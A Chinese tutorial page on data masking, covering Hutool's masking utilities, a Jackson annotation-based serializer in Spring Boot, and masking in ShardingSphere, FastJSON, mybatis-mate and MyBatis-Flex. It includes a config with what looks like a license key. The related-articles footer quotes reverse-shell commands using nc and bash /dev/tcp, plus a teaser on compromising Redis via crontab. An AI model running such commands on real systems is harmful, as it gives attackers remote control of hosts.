数据脱敏方案

数据脱敏方案

什么是数据脱敏

数据脱敏的定义

数据脱敏百度百科中是这样定义的:

数据脱敏,指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护。这样就可以在开发、测试和其它非生产环境以及外包环境中安全地使用脱敏后的真实数据集。在涉及客户安全数据或者一些商业性敏感数据的情况下,在不违反系统规则条件下,对真实数据进行改造并提供测试使用,如身份证号、手机号、卡号、客户号等个人信息都需要进行数据脱敏。是数据库安全技术之一。

总的来说,数据脱敏是指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护。

在数据脱敏过程中,通常会采用不同的算法和技术,以根据不同的需求和场景对数据进行处理。例如,对于身份证号码,可以使用掩码算法(masking)将前几位数字保留,其他位用 “X” 或 “*” 代替;对于姓名,可以使用伪造(pseudonymization)算法,将真实姓名替换成随机生成的假名。

常用脱敏规则

常用脱敏规则是为了保护敏感数据的安全性,在处理和存储敏感数据时对其进行变换或修改。

下面是几种常见的脱敏规则:

  • 替换(常用):将敏感数据中的特定字符或字符序列替换为其他字符。例如,将信用卡号中的中间几位数字替换为星号(*)或其他字符。
  • 删除:将敏感数据中的部分内容随机删除。比如,将电话号码的随机 3 位数字进行删除。
  • 重排:将原始数据中的某些字符或字段的顺序打乱。例如,将身份证号码的随机位交错互换。
  • 加噪:在数据中注入一些误差或者噪音,达到对数据脱敏的效果。例如,在敏感数据中添加一些随机生成的字符。
  • 加密(常用):使用加密算法将敏感数据转换为密文。例如,将银行卡号用 MD5 或 SHA-256 等哈希函数进行散列。

常用脱敏工具

Hutool

Hutool 一个 Java 基础工具类,对文件、流、加密解密、转码、正则、线程、XML 等 JDK 方法进行封装,组成各种 Util 工具类,同时提供以下组件:

模块介绍
hutool-aopJDK 动态代理封装,提供非 IOC 下的切面支持
hutool-bloomFilter布隆过滤,提供一些 Hash 算法的布隆过滤
hutool-cache简单缓存实现
hutool-core核心,包括 Bean 操作、日期、各种 Util 等
hutool-cron定时任务模块,提供类 Crontab 表达式的定时任务
hutool-crypto加密解密模块,提供对称、非对称和摘要算法封装
hutool-dbJDBC 封装后的数据操作,基于 ActiveRecord 思想
hutool-dfa基于 DFA 模型的多关键字查找
hutool-extra扩展模块,对第三方封装(模板引擎、邮件、Servlet、二维码、Emoji、FTP、分词等)
hutool-http基于 HttpUrlConnection 的 Http 客户端封装
hutool-log自动识别日志实现的日志门面
hutool-script脚本执行封装,例如 Javascript
hutool-setting功能更强大的 Setting 配置文件和 Properties 封装
hutool-system系统参数调用封装(JVM 信息等)
hutool-jsonJSON 实现
hutool-captcha图片验证码实现
hutool-poi针对 POI 中 Excel 和 Word 的封装
hutool-socket基于 Java 的 NIO 和 AIO 的 Socket 封装
hutool-jwtJSON Web Token (JWT) 封装实现

可以根据需求对每个模块单独引入,也可以通过引入hutool-all方式引入所有模块,本文所使用的数据脱敏工具就是在 hutool.core 模块。

现阶段最新版本的 Hutool 支持的脱敏数据类型如下,基本覆盖了常见的敏感信息。

  1. 用户 id
  2. 中文姓名
  3. 身份证号
  4. 座机号
  5. 手机号
  6. 地址
  7. 电子邮件
  8. 密码
  9. 中国大陆车牌,包含普通车辆、新能源车辆
  10. 银行卡
一行代码实现脱敏

Hutool 提供的脱敏方法如下图所示:

img

注意:Hutool 脱敏是通过 * 来代替敏感信息的,具体实现是在 StrUtil.hide 方法中,如果我们想要自定义隐藏符号,则可以把 Hutool 的源码拷出来,重新实现即可。

这里以手机号、银行卡号、身份证号、密码信息的脱敏为例,下面是对应的测试代码。

import cn.hutool.core.util.DesensitizedUtil;
import org.junit.Test;
import org.springframework.boot.test.context.Spring BootTest;/**** @description: Hutool实现数据脱敏*/
@Spring BootTest
public class HuToolDesensitizationTest {@Testpublic void testPhoneDesensitization(){String phone="13723231234";System.out.println(DesensitizedUtil.mobilePhone(phone)); //输出:137****1234}@Testpublic void testBankCardDesensitization(){String bankCard="6217000130008255666";System.out.println(DesensitizedUtil.bankCard(bankCard)); //输出:6217 **** **** *** 5666}@Testpublic void testIdCardNumDesensitization(){String idCardNum="411021199901102321";//只显示前4位和后2位System.out.println(DesensitizedUtil.idCardNum(idCardNum,4,2)); //输出:4110************21}@Testpublic void testPasswordDesensitization(){String password="www.jd.com_35711";System.out.println(DesensitizedUtil.password(password)); //输出:****************}
}

以上就是使用 Hutool 封装好的工具类实现数据脱敏。

配合 JackSon 通过注解方式实现脱敏

现在有了数据脱敏工具类,如果前端需要显示数据数据的地方比较多,我们不可能在每个地方都调用一个工具类,这样就显得代码太冗余了,那我们如何通过注解的方式优雅的完成数据脱敏呢?

如果项目是基于 Spring Boot 的 web 项目,则可以利用 Spring Boot 自带的 jackson 自定义序列化实现。它的实现原来其实就是在 json 进行序列化渲染给前端时,进行脱敏。

第一步:脱敏策略的枚举。

/*** @author* @description:脱敏策略枚举*/
public enum DesensitizationTypeEnum {//自定义MY_RULE,//用户idUSER_ID,//中文名CHINESE_NAME,//身份证号ID_CARD,//座机号FIXED_PHONE,//手机号MOBILE_PHONE,//地址ADDRESS,//电子邮件EMAIL,//密码PASSWORD,//中国大陆车牌,包含普通车辆、新能源车辆CAR_LICENSE,//银行卡BANK_CARD
}

上面表示支持的脱敏类型。

第二步:定义一个用于脱敏的 Desensitization 注解。

  • @Retention (RetentionPolicy.RUNTIME):运行时生效。
  • @Target (ElementType.FIELD):可用在字段上。
  • @JacksonAnnotationsInside:此注解可以点进去看一下是一个元注解,主要是用户打包其他注解一起使用。
  • @JsonSerialize:上面说到过,该注解的作用就是可自定义序列化,可以用在注解上,方法上,字段上,类上,运行时生效等等,根据提供的序列化类里面的重写方法实现自定义序列化。
/*** @author*/
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
@JacksonAnnotationsInside
@JsonSerialize(using = DesensitizationSerialize.class)
public @interface Desensitization {/*** 脱敏数据类型,在MY_RULE的时候,startInclude和endExclude生效*/DesensitizationTypeEnum type() default DesensitizationTypeEnum.MY_RULE;/*** 脱敏开始位置(包含)*/int startInclude() default 0;/*** 脱敏结束位置(不包含)*/int endExclude() default 0;
}

注:只有使用了自定义的脱敏枚举 MY_RULE 的时候,开始位置和结束位置才生效。

第三步:创建自定的序列化类

这一步是我们实现数据脱敏的关键。自定义序列化类继承 JsonSerializer,实现 ContextualSerializer 接口,并重写两个方法。

/*** @author* @description: 自定义序列化类*/
@AllArgsConstructor
@NoArgsConstructor
public class DesensitizationSerialize extends JsonSerializer<String> implements ContextualSerializer {private DesensitizationTypeEnum type;private Integer startInclude;private Integer endExclude;@Overridepublic void serialize(String str, JsonGenerator jsonGenerator, SerializerProvider serializerProvider) throws IOException {switch (type) {// 自定义类型脱敏case MY_RULE:jsonGenerator.writeString(CharSequenceUtil.hide(str, startInclude, endExclude));break;// userId脱敏case USER_ID:jsonGenerator.writeString(String.valueOf(DesensitizedUtil.userId()));break;// 中文姓名脱敏case CHINESE_NAME:jsonGenerator.writeString(DesensitizedUtil.chineseName(String.valueOf(str)));break;// 身份证脱敏case ID_CARD:jsonGenerator.writeString(DesensitizedUtil.idCardNum(String.valueOf(str), 1, 2));break;// 固定电话脱敏case FIXED_PHONE:jsonGenerator.writeString(DesensitizedUtil.fixedPhone(String.valueOf(str)));break;// 手机号脱敏case MOBILE_PHONE:jsonGenerator.writeString(DesensitizedUtil.mobilePhone(String.valueOf(str)));break;// 地址脱敏case ADDRESS:jsonGenerator.writeString(DesensitizedUtil.address(String.valueOf(str), 8));break;// 邮箱脱敏case EMAIL:jsonGenerator.writeString(DesensitizedUtil.email(String.valueOf(str)));break;// 密码脱敏case PASSWORD:jsonGenerator.writeString(DesensitizedUtil.password(String.valueOf(str)));break;// 中国车牌脱敏case CAR_LICENSE:jsonGenerator.writeString(DesensitizedUtil.carLicense(String.valueOf(str)));break;// 银行卡脱敏case BANK_CARD:jsonGenerator.writeString(DesensitizedUtil.bankCard(String.valueOf(str)));break;default:}}@Overridepublic JsonSerializer<?> createContextual(SerializerProvider serializerProvider, BeanProperty beanProperty) throws JsonMappingException {if (beanProperty != null) {// 判断数据类型是否为String类型if (Objects.equals(beanProperty.getType().getRawClass(), String.class)) {// 获取定义的注解Desensitization desensitization = beanProperty.getAnnotation(Desensitization.class);// 为nullif (desensitization == null) {desensitization = beanProperty.getContextAnnotation(Desensitization.class);}// 不为nullif (desensitization != null) {// 创建定义的序列化类的实例并且返回,入参为注解定义的type,开始位置,结束位置。return new DesensitizationSerialize(desensitization.type(), desensitization.startInclude(),desensitization.endExclude());}}return serializerProvider.findValueSerializer(beanProperty.getType(), beanProperty);}return serializerProvider.findNullValueSerializer(null);}
}

经过上述三步,已经完成了通过注解实现数据脱敏了,下面我们来测试一下。

首先定义一个要测试的 pojo,对应的字段加入要脱敏的策略。

/**** @description:*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class TestPojo {private String userName;@Desensitization(type = DesensitizationTypeEnum.MOBILE_PHONE)private String phone;@Desensitization(type = DesensitizationTypeEnum.PASSWORD)private String password;@Desensitization(type = DesensitizationTypeEnum.MY_RULE, startInclude = 0, endExclude = 2)private String address;
}

接下来写一个测试的 controller

@RestController
public class TestController {@RequestMapping("/test")public TestPojo testDesensitization(){TestPojo testPojo = new TestPojo();testPojo.setUserName("我是用户名");testPojo.setAddress("地球中国-北京市通州区京东总部2号楼");testPojo.setPhone("13782946666");testPojo.setPassword("sunyangwei123123123.");System.out.println(testPojo);return testPojo;}}

img

可以看到我们成功实现了数据脱敏。

Apache ShardingSphere

ShardingSphere 是一套开源的分布式数据库中间件解决方案组成的生态圈,它由 Sharding-JDBC、Sharding-Proxy 和 Sharding-Sidecar(计划中)这 3 款相互独立的产品组成。 他们均提供标准化的数据分片、分布式事务和数据库治理功能 。

Apache ShardingSphere 下面存在一个数据脱敏模块,此模块集成的常用的数据脱敏的功能。其基本原理是对用户输入的 SQL 进行解析拦截,并依靠用户的脱敏配置进行 SQL 的改写,从而实现对原文字段的加密及加密字段的解密。最终实现对用户无感的加解密存储、查询。

通过 Apache ShardingSphere 可以自动化&透明化数据脱敏过程,用户无需关注脱敏中间实现细节。并且,提供了多种内置、第三方(AKS)的脱敏策略,用户仅需简单配置即可使用。

FastJSON

平时开发 Web 项目的时候,除了默认的 Spring 自带的序列化工具,FastJson 也是一个很常用的 Spring Web Restful 接口序列化的工具。

FastJSON 实现数据脱敏的方式主要有两种:

  • 基于注解 @JSONField 实现:需要自定义一个用于脱敏的序列化的类,然后在需要脱敏的字段上通过 @JSONField 中的 serializeUsing 指定为我们自定义的序列化类型即可。
  • 基于序列化过滤器:需要实现 ValueFilter 接口,重写 process 方法完成自定义脱敏,然后在 JSON 转换时使用自定义的转换策略。

Mybatis-mate

MybatisPlus 也提供了数据脱敏模块 mybatis-mate。mybatis-mate 为 MybatisPlus 企业级模块,使用之前需要配置授权码(付费),旨在更敏捷优雅处理数据。

配置内容如下所示:

# Mybatis Mate 配置
mybatis-mate:cert:grant: jxftsdfggggxlicense: GKXP9r4MCJhGID/DTGigcBcLmZjb1YZGjE4GXaAoxbtGsPC20sxpEtiUr2F7Nb1ANTUekvF6Syo6DzraA4M4oac

MyBatis-Flex

类似于 MybatisPlus,MyBatis-Flex 也是一个 MyBatis 增强框架。MyBatis-Flex 同样提供了数据脱敏功能,并且是可以免费使用的。

MyBatis-Flex 提供了 @ColumnMask() 注解,以及内置的 9 种脱敏规则,开箱即用:

  • 用户名脱敏
  • 手机号脱敏
  • 固定电话脱敏
  • 身份证号脱敏
  • 车牌号脱敏
  • 地址脱敏
  • 邮件脱敏
  • 密码脱敏
  • 银行卡号脱敏
/*** 内置的数据脱敏方式*/
public class Masks {/*** 手机号脱敏*/public static final String MOBILE = "mobile";/*** 固定电话脱敏*/public static final String FIXED_PHONE = "fixed_phone";/*** 身份证号脱敏*/public static final String ID_CARD_NUMBER = "id_card_number";/*** 中文名脱敏*/public static final String CHINESE_NAME = "chinese_name";/*** 地址脱敏*/public static final String ADDRESS = "address";/*** 邮件脱敏*/public static final String EMAIL = "email";/*** 密码脱敏*/public static final String PASSWORD = "password";/*** 车牌号脱敏*/public static final String CAR_LICENSE = "car_license";/*** 银行卡号脱敏*/public static final String BANK_CARD_NUMBER = "bank_card_number";//...
}

使用示例:

@Table("tb_account")
public class Account {@Id(keyType = KeyType.Auto)private Long id;@ColumnMask(Masks.CHINESE_NAME)private String userName;@ColumnMask(Masks.EMAIL)private String email;}

如果这些内置的脱敏规则不满足你的要求的话,你还可以自定义脱敏规则。

作者声明

如有问题,欢迎指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/225965.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3还用this吗?getCurrentInstance获取当前组件实例

在 Vue 2 中&#xff0c;this 关键字代表当前组件实例。在组件的选项对象中&#xff0c;this 可以用于访问组件实例的属性、方法以及 Vue 实例的一些特定方法。 在Vue3中&#xff0c;我们发现this是undefined&#xff0c;那我们真的没法使用this了吗&#xff1f;vu3给我们提供…

同心合“利”,“盈”享未来!2023中海达合作伙伴交流会圆满召开

北方大雪纷飞时&#xff0c;广州却仍是艳阳高照。正如广州持续的高温一样&#xff0c;全国各地合作伙伴用自己的热情与活力全力支持和陪伴着中海达。为感谢合作伙伴同心合力&#xff0c;一路同行&#xff0c;11月27日&#xff0c;“同心合‘利’&#xff0c;‘盈’享未来”2023…

怎么判断香港服务器的性能好不好?

随着互联网的不断发展&#xff0c;越来越多的人开始使用香港服务器来搭建自己的网站或者应用。但是&#xff0c;对于初次使用香港服务器的用户来说&#xff0c;往往会遇到一个问题&#xff1a;怎么判断香港服务器的性能好不好? 首先我们需要了解香港服务器的性能主要取决于哪些…

云计算——ACA学习 阿里云云计算服务概述

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 公众号&#xff1a;网络豆云计算学堂 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a; 网络豆的主页​​​​​ 目录 写在前面 前期回顾 本期介绍 前言了解 一…

InnoSetupCompiler打包程序

修改默认的安装路径 因为程序可能需要在安装路径中写日志,默认的安装路径C:\Program Files (x86),这个路径好像是受保护还是啥,如果使用默认的打开会报错。 修改方法: DefaultDirName={autopf}\{#MyAppName} {autopf}改成想要修改的目录路径 利用URL Scheme打…

kali部署ARL灯塔资产系统及使用教程

网上有很多ARL部署到centos系统的教程,但是部署到ubuntu或kali linux系统的教程都是乱七八糟,互相抄,而且没有一个能部署成功,鉴于此,写下此教程,帮助大家出坑 一、安装docker环境(网上什么弄钥匙呀,什么稳定源啊都是垃圾) 准备一个纯净的最新的kali linux系统 1、配…

入侵redis之准备---Linux关于定时任务crontab相关知识了解配合理解shell反弹远程控制

入侵redis之准备—Linux关于定时任务crontab相关知识了解配合理解shell反弹远程控制 几点需要知道的信息 【1】crontab一般来说服务器都是有的&#xff0c;依赖crond服务&#xff0c;这个服务也是必须安装的服务&#xff0c;并且也是开机自启动的服务&#xff0c;也就是说&…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

TDA4VM MCUSW

文章目录 1. 原文概述2. 如何配置MCUSW?2.1 向TI申请EB安装包2.2 安装EB配置工具3. MCAL支持的外设注意:本篇主要参考的文档在这里哈:ti-processor-sdk-rtos-j721e-evm-09_00_01_01/mcusw/mcal_drv/docs/drv_docs/mcusw_c_ug_top.html 1. 原文概述 J721E/J7200/J721S2/J78…

贪吃蛇小游戏基本简单布局

代码&#xff1a; <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>Layui贪吃蛇小游戏</title> <link rel"stylesheet" href"https://cdn.bootcdn.net/ajax/libs/layui/2.5.7/css/layui.…

【攻防世界-misc】reverseMe

1.下载后&#xff0c;得到这样一张图片 2.利用在线翻转网站获取值&#xff0c;在线旋转图片工具|在线翻转照片|调整照片方向|生成镜像图片 - 改图宝 反转后的图片&#xff0c;将值提取并上传。

Go字符串类型

一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号&#xff08;"&#xff09;中的内容&#xff0c;可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…